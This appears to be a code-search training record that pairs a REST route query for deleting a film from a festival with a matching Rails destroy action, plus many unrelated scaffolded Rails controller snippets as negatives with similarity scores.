"def update\n @finger = Finger.find(params[:id])\n @finger.user = current_user\n respond_to do |format|\n if @finger.update_attributes(params[:finger])\n flash[:notice] = 'Finger was successfully updated.'\n format.html { redirect_to(fingers_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @finger.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @flight = Flight.find(params[:id])\n\n respond_to do |format|\n if @flight.update_attributes(params[:flight])\n flash[:notice] = 'Flight was successfully updated.'\n format.html { redirect_to(@flight) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @flight.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @film = @festival.films.new\n \n respond_to do |format|\n format.html { raise NonAjaxEditsNotSupported }\n format.js # new.rjs\n format.xml { render :xml => @film }\n end\n end",
"def update\n respond_to do |format|\n if @fabricsofaset.update(fabricsofaset_params)\n format.html { redirect_to @fabricsofaset, notice: 'Fabricsofaset was successfully updated.' }\n format.json { render :show, status: :ok, location: @fabricsofaset }\n else\n format.html { render :edit }\n format.json { render json: @fabricsofaset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fostered.update(fostered_params)\n format.html { redirect_to @fostered, notice: 'Fostered was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fostered.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @feria2009calificacion = Feria2009calificacion.find(params[:id])\n\n respond_to do |format|\n if @feria2009calificacion.update_attributes(params[:feria2009calificacion])\n format.html { redirect_to(@feria2009calificacion, :notice => 'Feria2009calificacion was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @feria2009calificacion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @ficha = Ficha.find(params[:id])\n\n respond_to do |format|\n if @ficha.update_attributes(params[:ficha])\n format.html { redirect_to @ficha, notice: 'Ficha alterada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ficha.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fan = Fan.find(params[:id])\n\n respond_to do |format|\n if @fan.update_attributes(params[:fan])\n flash[:notice] = 'Fan was successfully updated.'\n format.html { redirect_to(@fan) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @fan.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @farmer = Farmer.find(params[:id])\n\n respond_to do |format|\n if @farmer.update_attributes(params[:farmer])\n format.html { redirect_to @farmer, notice: 'Farmer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @farmer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_fuente = TipoFuente.find(params[:id])\n\n respond_to do |format|\n if @tipo_fuente.update_attributes(params[:tipo_fuente])\n format.html { redirect_to(@tipo_fuente, :notice => 'TipoFuente was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipo_fuente.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @entidadfinanciera = Entidadfinanciera.find(params[:id])\n\n respond_to do |format|\n if @entidadfinanciera.update_attributes(params[:entidadfinanciera])\n format.html { redirect_to(@entidadfinanciera, :notice => 'Entidadfinanciera was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entidadfinanciera.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @pft = Pft.find(params[:id])\n\n respond_to do |format|\n if @pft.update_attributes(params[:pft])\n flash[:notice] = 'Pft was successfully updated.'\n format.html { redirect_to(@pft) }\n format.xml { head :ok }\n format.csv { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @pft.errors, :status => :unprocessable_entity }\n format.csv { render :csv => @pft.errors, :status => :unprocessable_entity }\n format.json { render :json => @pft.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @funder = Funder.find(params[:id])\n\n respond_to do |format|\n if @funder.update_attributes(params[:funder])\n format.html { redirect_to(@funder, :notice => 'Funder was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @funder.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @asociacion_perfil = AsociacionPerfil.find(params[:id])\n\n respond_to do |format|\n if @asociacion_perfil.update_attributes(params[:asociacion_perfil])\n flash[:notice] = 'AsociacionPerfil was successfully updated.'\n format.html { redirect_to(@asociacion_perfil) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @asociacion_perfil.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @faction = Faction.find(params[:id])\n\n respond_to do |format|\n if @faction.update_attributes(params[:faction])\n format.html { redirect_to admin_factions_url, notice: 'Faction was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @faction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fam = Fam.new(params[:fam])\n\n respond_to do |format|\n if @fam.save\n flash[:notice] = 'Fam was successfully created.'\n format.html { redirect_to(@fam) }\n format.xml { render :xml => @fam, :status => :created, :location => @fam }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @fam.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_film\n @film = Film.find(params[:id])\n end",
"def set_film\n @film = Film.find(params[:id])\n end",
"def set_film\n @film = Film.find(params[:id])\n end",
"def set_film\n @film = Film.find(params[:id])\n end",
"def set_film\n @film = Film.find(params[:id])\n end",
"def update\n\n @foaf.interests.clear\n\n if(foaf_params.has_key?(:interests_attributes))\n interest_ids = foaf_params[:interests_attributes].split(\",\").map { |s| s.to_i }\n interest_ids.each do |i|\n @foaf.interests << Interest.find(i)\n #@foaf.update(Interest.find(i))\n end\n \n end\n\n respond_to do |format|\n if @foaf.update(name: foaf_params[:name], work: foaf_params[:work], \n slug: foaf_params[:slug], birthday: foaf_params[:birthday])\n format.html { redirect_to @foaf, notice: 'Foaf was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @foaf.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @firm.update(firm_params)\n format.html { redirect_to @firm, notice: 'Firm was successfully updated.' }\n format.json { render :show, status: :ok, location: @firm }\n else\n format.html { render :edit }\n format.json { render json: @firm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @farm.update(farm_params)\n format.html { redirect_to @farm, notice: '編集が完了しました。' }\n format.json { render :show, status: :ok, location: @farm }\n else\n format.html { render :edit }\n format.json { render json: @farm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @trip = Trip.find(params[:id])\n @ministry = @trip.ministry\n\n respond_to do |format|\n if @trip.update_attributes(params[:trip])\n #flash[:notice] = 'Trip was successfully updated.'\n format.html { redirect_to(@trip) }\n format.xml { head :ok }\n else\n @data_files = DataFile.find(:all, :order => :name)\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @trip.errors,\n :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @face = Face.find(params[:id])\n\n respond_to do |format|\n if @face.update_attributes(params[:face])\n flash[:notice] = 'Face was successfully updated.'\n format.html { redirect_to(@face) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @face.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @frbr_manifestation = FrbrManifestation.find(params[:id])\n\n respond_to do |format|\n if @frbr_manifestation.update_attributes(params[:frbr_manifestation])\n format.html { redirect_to @frbr_manifestation, notice: 'Frbr manifestation was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @frbr_manifestation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n @franchise = @franchise_set.franchises.find(params[:id])\n\n respond_to do |format|\n franchise_set = FranchiseSet.find(params[:franchise_set_id])\n if @franchise.update_attributes(params[:franchise])\n format.html { redirect_to \"/franchise_sets/#{franchise_set.id}/edit\" , notice: 'Franchise was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @franchise.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @factura = Factura.find(params[:id])\n\n respond_to do |format|\n if @factura.update_attributes(params[:factura])\n format.html { redirect_to(@factura, :notice => t('facturaactualizada')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @factura.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_foaf\n @foaf = Foaf.friendly.find(params[:id])\n end",
"def set_foaf\n @foaf = Foaf.friendly.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @meeting.update(edit_params)\n @meeting.file.attach(params[:meeting][:my_file])\n format.html { redirect_to @meeting, notice: 'Meeting was successfully updated.' }\n format.json { render :show, status: :ok, location: @meeting }\n analyze\n else\n format.html { render :edit }\n format.json { render json: @meeting.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6519106",
"0.6207139",
"0.62046474",
"0.6149017",
"0.60566956",
"0.6034293",
"0.60188466",
"0.59054023",
"0.5810741",
"0.5789958",
"0.57750154",
"0.57720196",
"0.57038635",
"0.5689641",
"0.56299114",
"0.56247145",
"0.5614178",
"0.5607249",
"0.5601533",
"0.5598347",
"0.55943954",
"0.5594183",
"0.559314",
"0.55905956",
"0.55905956",
"0.55689126",
"0.5565236",
"0.5552385",
"0.5542383",
"0.55302644",
"0.5528998",
"0.55155814",
"0.55089897",
"0.55047315",
"0.55039465",
"0.545948",
"0.5457064",
"0.5456691",
"0.54524297",
"0.5442151",
"0.5437706",
"0.5426861",
"0.5426861",
"0.5426861",
"0.54255754",
"0.5411566",
"0.54068583",
"0.53980505",
"0.5397177",
"0.53926814",
"0.5389852",
"0.5388044",
"0.5387984",
"0.538772",
"0.5386935",
"0.5386268",
"0.53845245",
"0.5383793",
"0.53798795",
"0.53781945",
"0.5376706",
"0.53696513",
"0.5366751",
"0.5366081",
"0.5360013",
"0.5359253",
"0.53564215",
"0.53546",
"0.5345536",
"0.5338043",
"0.5335416",
"0.5335012",
"0.5317126",
"0.5305799",
"0.5303458",
"0.52983326",
"0.5294069",
"0.52938986",
"0.5292469",
"0.5289988",
"0.5289502",
"0.5277725",
"0.5277497",
"0.52771205",
"0.5258203",
"0.5258203",
"0.5258203",
"0.5258203",
"0.5258203",
"0.525705",
"0.5248018",
"0.5246188",
"0.5244895",
"0.52444965",
"0.5242854",
"0.5240202",
"0.52388215",
"0.5224286",
"0.5224219",
"0.5216329"
] |
0.6404152
|
1
|
DELETE /festivals/1/films/1 DELETE /festivals/1/films/1.xml
|
def destroy
@film = @festival.films.find(params[:id])
@film.destroy
respond_to do |format|
format.html { raise NonAjaxEditsNotSupported }
format.js # destroy.rjs
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @fam = Fam.find(params[:id])\n @fam.destroy\n\n respond_to do |format|\n format.html { redirect_to(fams_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feefile = Feefile.find(params[:id])\n directory= \"uploads\"\n path =File.join(directory,@feefile.feefilename)\n File.delete(path)\n @feefile.destroy\n \n\n respond_to do |format|\n format.html { redirect_to(feefiles_url) }\n format.xml { head :ok }\n end\n end",
"def deletef\n url = prefix + \"deletef\" + id_param\n return response(url)\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @firm = Firm.find(params[:id])\n @firm.destroy\n\n respond_to do |format|\n format.html { redirect_to(firms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @firm = Firm.find(params[:id])\n @firm.destroy\n\n respond_to do |format|\n format.html { redirect_to(firms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n sf = @site.site_files.find params[:id]\n sf.destroy\n\n flash[:notice] = \"#{sf.path} has been deleted.\"\n respond_to do |format|\n format.html { redirect_to(site_site_files_path(@site)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @festival = Festival.find(params[:id])\n @festival.destroy\n\n respond_to do |format|\n format.html { redirect_to festivals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @feat = @person.feats.find(params[:id])\n @feat.destroy\n\n respond_to do |format|\n format.html { redirect_to(person_feats_url(@person)) }\n format.xml { head :ok }\n end\n end",
"def delete() #DELETE film1.delete (removes 1 film)\n sql = \"DELETE FROM films WHERE id = $1;\"\n values = [@id]\n SqlRunner.run(sql, values)\n end",
"def destroy\n @asociacion_perfil = AsociacionPerfil.find(params[:id])\n @asociacion_perfil.destroy\n\n respond_to do |format|\n format.html { redirect_to(asociacion_perfils_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n# @fossil = Fossil.find(params[:id])\n notice = \"File '#{@fossil.name}' has been deleted.\" if @fossil.destroy\n \n\n respond_to do |format|\n format.html { redirect_to(collections_path, :notice => notice) }\n format.xml { head :ok }\n format.json { render :json => {:notice => \"success\"} }\n end\n end",
"def destroy\n @feria2010observacion = Feria2010observacion.find(params[:id])\n @feria2010observacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(feria2010observaciones_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fuga = Fuga.find(params[:id])\n @fuga.destroy\n\n respond_to do |format|\n format.html { redirect_to(fugas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @firearm = Firearm.find(params[:id])\n @firearm.destroy\n\n respond_to do |format|\n format.html { redirect_to(firearms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @perfil = Perfil.find(params[:id])\n @perfil.destroy\n\n respond_to do |format|\n format.html { redirect_to(perfils_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @farm = Farm.find(params[:id])\n @farm.destroy\n\n respond_to do |format|\n format.html { redirect_to(farms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fax_document = FaxDocument.find(params[:id])\n @fax_document.destroy\n \n respond_to do |format|\n format.html { redirect_to(fax_documents_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @file = current_user.past_exams.find(params[:id])\n\t\t@file.destroy\n respond_to do |format|\n format.html { redirect_to file_infos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @familia = Familia.find(params[:id])\n @familia.destroy\n\n respond_to do |format|\n format.html { redirect_to(familias_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @perfil = Perfil.find(params[:id])\n @perfil.destroy\n\n respond_to do |format|\n format.html { redirect_to(perfis_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @filme.destroy\n\n respond_to do |format|\n format.html { redirect_to filmes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @orc_ficha = OrcFicha.find(params[:id])\n @orc_ficha.destroy\n\n respond_to do |format|\n format.html { redirect_to(orc_fichas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feria2014jefe = Feria2014jefe.find(params[:id])\n @feria2014jefe.destroy\n\n respond_to do |format|\n format.html { redirect_to(feria2014jefes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @add_users_to_film = AddUsersToFilm.find(params[:id])\n @add_users_to_film.destroy\n\n respond_to do |format|\n format.html { redirect_to(add_users_to_films_url) }\n format.xml { head :ok }\n end\n end",
"def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end",
"def destroy\n @finger = Finger.find(params[:id])\n @finger.destroy\n\n respond_to do |format|\n format.html { redirect_to(fingers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @festival.destroy\n respond_to do |format|\n format.html { redirect_to festivals_url, notice: 'Festival was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @foam = Foam.find(params[:id])\n @foam.destroy\n\n respond_to do |format|\n format.html { redirect_to foams_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @factura = Factura.find(params[:id])\n @factura.destroy\n\n respond_to do |format|\n format.html { redirect_to(facturas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @f = F.find(params[:id])\n if @f\n filename = version_path + '/' + @f.name\n if File.exists?(filename)\n puts \"delete #{filename}\"\n puts File.delete(filename)\n end\n \n #if not delete last file, must reorder all file sn \n if @f.sn != @package.fs.size\n @package.fs.each do |x|\n if x.sn > @f.sn\n x.sn -= 1\n x.save\n end\n end\n end\n \n @f.destroy\n end\n \n redirect_to software_package_fs_path(@software, @package) \n end",
"def destroy\n @franchise.destroy\n\n respond_to do |format|\n format.html { redirect_to(franchises_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @foyer = Foyer.find(params[:id])\n @foyer.destroy\n\n respond_to do |format|\n format.html { redirect_to(foyers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @upload_file = UploadFile.find(params[:id])\n doc_no=@upload_file.doc_no\n @upload_file.destroy\n\n respond_to do |format|\n format.html { redirect_to upload_files_url(:doc_no=>doc_no) }\n format.xml { head :ok }\n end\n end",
"def destroy\n #FIXME: Double check auth is working for deletion. Also, maybe should only delete if not associated with any experiments.\n @data_file.destroy\n \n respond_to do |format|\n format.html { redirect_to(data_files_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @alfresco = Alfresco.find(params[:id])\n @alfresco.destroy\n\n respond_to do |format|\n format.html { redirect_to(alfrescos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @entidadfinanciera = Entidadfinanciera.find(params[:id])\n @entidadfinanciera.destroy\n\n respond_to do |format|\n format.html { redirect_to(entidadfinancieras_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fgroup = Fgroup.find(params[:id])\n @fgroup.destroy\n\n respond_to do |format|\n format.html { redirect_to(fgroups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @food.destroy\n\n respond_to do |format|\n format.html { redirect_to(foods_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @direccion = Direccion.find(params[:id])\n @direccion.destroy\n\n respond_to do |format|\n format.html { redirect_to(direccions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @alfabe = Alfabe.find(params[:id])\n @alfabe.destroy\n\n respond_to do |format|\n format.html { redirect_to(alfabes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @patient = Patient.find(params[:id])\r\n @patient.destroy\r\n \r\n #DELETE PROFILE PIC - ADDED BY UPINDER\r\n @patientID = params[:id]\r\n @directory = File.join(RAILS_ROOT,\"public/patients/photos\")\r\n @directory = File.join(@directory,@patientID)\r\n Upload.delete(@directory)\r\n #END DELETE PROFILE PIC\r\n \r\n APP_LOGGER_LOG.info \"PATIENT DELETED - for PATIENT ID \" + \r\n @patient[:medical_record_number] + \" by USER \" + self.current_user[:login]\r\n \r\n respond_to do |format|\r\n format.html { redirect_to(patients_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @feria2009calificacion = Feria2009calificacion.find(params[:id])\n @feria2009calificacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(feria2009calificaciones_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @repasse_fabrica = RepasseFabrica.find(params[:id])\n @repasse_fabrica.destroy\n\n respond_to do |format|\n format.html { redirect_to(repasses_fabrica_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @file_upload = FileUpload.find(params[:id])\n @file_upload.destroy\n\n respond_to do |format|\n format.html { redirect_to(file_uploads_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fan_request = FanRequest.find(params[:id])\n @fan_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(fan_requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @document.destroy\n save_log({ :action => 'DELETE', :document => { :before => @old_document }})\n #TODO delete the file from disk\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end",
"def delete(filename); end",
"def destroy\n @data_file = DataFile.find(params[:id])\n @data_file.destroy\n\n respond_to do |format|\n format.html { redirect_to(data_files_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @saved_food = SavedFood.find(params[:id])\n @saved_food.destroy\n\n respond_to do |format|\n format.html { redirect_to(saved_foods_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @file_upload = FileUpload.find(params[:id])\n @file_upload.destroy\n\n respond_to do |wants|\n wants.html { redirect_to(file_uploads_url) }\n wants.xml { head :ok }\n end\n end",
"def destroy\n @foro = Foro.find(params[:id])\n @sitio=@foro.sitio\n @foro.destroy\n\n respond_to do |format|\n format.html { redirect_to(foros_url(:id=>@sitio)) }\n format.xml { head :ok }\n end\n end",
"def delete (fei)\n\n fei_path = compute_file_path(fei)\n\n #ldebug { \"delete() for #{fei.to_debug_s} at #{fei_path}\" }\n\n File.delete(fei_path)\n end",
"def delete\n unless FileDescriptor.exists?(filename: params[:fname])\n fpath = filePath params[:fname]\n begin\n File.delete fpath\n result = {status: 'ok'}\n status = 200\n rescue Exception => e\n result = {status: 'error', message: e.message}\n status = 500\n end\n else\n result = {status: 'error', message: 'File is open'}\n status = 403 # Forbidden\n end\n render json: result.to_json, status: status\n end",
"def destroy\n @factory = Factory.find(params[:id])\n @factory.destroy\n\n respond_to do |format|\n format.html { redirect_to(factories_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n category = Formulario::REFERENCES_CATEGORY[@formulario.categoria]\n file = File.join(\"#{Formulario::ROUTE_PATH}\",category, @formulario.title)\n FileUtils.rm file\n @formulario.destroy\n respond_to do |format|\n puts \"----------> #{formularios_url}\"\n format.html { redirect_to formularios_url, notice: 'Formulario was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @foaf.destroy\n\n respond_to do |format|\n format.html { redirect_to foafs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @foaf.destroy\n\n respond_to do |format|\n format.html { redirect_to foafs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\t@family ||= Family.find(params[:id])\n @family.destroy\n respond_to do |format|\n format.html { redirect_to(families_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @staffd = Staffd.find(params[:id])\n @staffd.destroy\n\n respond_to do |format|\n format.html { redirect_to(staffds_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def destroy\r\n @dcf = Dcf.find(params[:id])\r\n @dcf.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(dcfs_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @docent = Docent.find(params[:id])\n @docent.destroy\n\n respond_to do |format|\n format.html { redirect_to(docents_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @staff_rec = StaffRec.find(params[:id])\n @staff_rec.destroy\n\n respond_to do |format|\n format.html { redirect_to(staff_recs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @frbr_manifestation = FrbrManifestation.find(params[:id])\n @frbr_manifestation.destroy\n\n respond_to do |format|\n format.html { redirect_to frbr_manifestations_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @feria2010beneficiario = Feria2010beneficiario.find(params[:id])\n @feria2010beneficiario.destroy\n\n respond_to do |format|\n format.html { redirect_to(feria2010beneficiarios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @sofa = Sofa.find(params[:id])\n @sofa.destroy\n\n respond_to do |format|\n format.html { redirect_to(sofas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tipo_fuente = TipoFuente.find(params[:id])\n @tipo_fuente.destroy\n\n respond_to do |format|\n format.html { redirect_to(tipo_fuentes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @genbank_file.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @fisier.destroy\n respond_to do |format|\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fridge_food = FridgeFood.find(params[:id])\n @fridge_food.destroy\n\n respond_to do |format|\n format.html { redirect_to(fridge_foods_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id)\r\n connection.delete(\"/#{@doctype}[@ino:id=#{id}]\")\r\n end",
"def destroy\n @feria2014beneficiario = Feria2014beneficiario.find(params[:id])\n @feria2014beneficiario.destroy\n\n respond_to do |format|\n format.html { redirect_to(feria2014beneficiarios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @pfs_consultation = PfsConsultation.find(params[:id])\n @pfs_consultation.destroy\n\n respond_to do |format|\n format.html { redirect_to(pfs_consultations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @membre = Membre.find(params[:id])\n @membre.destroy\n\n respond_to do |format|\n format.html { redirect_to(famille_url(@famille)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @frat.destroy\n respond_to do |format|\n format.html { redirect_to frats_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cinema = Cinema.find(params[:id])\n @cinema.destroy\n\n respond_to do |format|\n format.html { redirect_to(cinemas_url) }\n format.xml { head :ok }\n end\n end",
"def delete (fei)\n\n e = find(fei)\n e.destroy if e\n end",
"def destroy\n @fan = Fan.find(params[:id])\n @fan.destroy\n\n respond_to do |format|\n format.html { redirect_to(fans_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n client = Connection::MarkLogic.new.client\n client.send_corona_request(\"/v1/documents?uri=/amandments/amandment_#{@amandment.id}.xml\", :delete)\n @amandment.destroy\n respond_to do |format|\n format.html { redirect_to home_meeting_path, notice: 'Amandman was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n# @family = Family.find(params[:id])\n# @family.destroy\n#\n# respond_to do |format|\n# format.html { redirect_to(families_url) }\n# format.xml { head :ok }\n# end\n end",
"def destroy\n @data_file_filter = DataFileFilter.find(params[:id])\n @data_file_filter.destroy\n\n respond_to do |format|\n format.html { redirect_to(data_file_filters_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @frequentmag = Frequentmag.find(params[:id])\n @frequentmag.destroy\n\n respond_to do |format|\n format.html { redirect_to(frequentmags_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @finca = Finca.find(params[:id])\n @finca.destroy\n\n respond_to do |format|\n format.html { redirect_to(fincas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @flight = Flight.find(params[:id])\n @flight.destroy\n\n respond_to do |format|\n format.html { redirect_to(flights_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n\t\tauthorize! :index, @user\n\n @fichario_ficha = Fichario::Ficha.find(params[:id])\n @fichario_ficha.destroy\n\n respond_to do |format|\n format.html { redirect_to(fichario_fichas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @funder = Funder.find(params[:id])\n @funder.destroy\n\n respond_to do |format|\n format.html { redirect_to(funders_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @medida = Medida.find(params[:id])\n @medida.destroy\n\n respond_to do |format|\n format.html { redirect_to(medidas_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n #@feat = Feat.find(params[:id])\n @feat = @character.feats.find(params[:id])\n @feat.destroy\n\n respond_to do |format|\n format.html { redirect_to(edit_character_path(@character)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @evactivity = Evactivity.find(params[:id])\n @evactivity.destroy\n\n respond_to do |format|\n format.html { redirect_to(evactivities_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @fechascontable = Fechascontable.find(params[:id])\n @fechascontable.destroy\n\n respond_to do |format|\n format.html { redirect_to(fechascontables_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n if autenticacion == \"admin\"\n @personaje_sf3 = PersonajeSf3.find(params[:id])\n @personaje_sf3.destroy\n\n respond_to do |format|\n format.html { redirect_to(personaje_sf3s_url) }\n format.xml { head :ok }\n end\n end\n end",
"def destroy\n @variable_fetal = VariableFetal.find(params[:id])\n @variable_fetal.destroy\n\n respond_to do |format|\n format.html { redirect_to(variable_fetals_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ficha = Ficha.find(params[:id])\n @ficha.destroy\n\n respond_to do |format|\n format.html { redirect_to fichas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @farmexpense = Farmexpense.find(params[:id])\n @farmexpense.destroy\n\n respond_to do |format|\n format.html { redirect_to(farmexpenses_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @feed = Feed.destroy(params[:id])\n flash[:notice] = t(\"collector.feeds.notice.removed\", :feed_url => @feed.url)\n \n respond_to do |wants| \n wants.html { redirect_to feeds_path }\n wants.xml { render :nothing => true }\n end\n end",
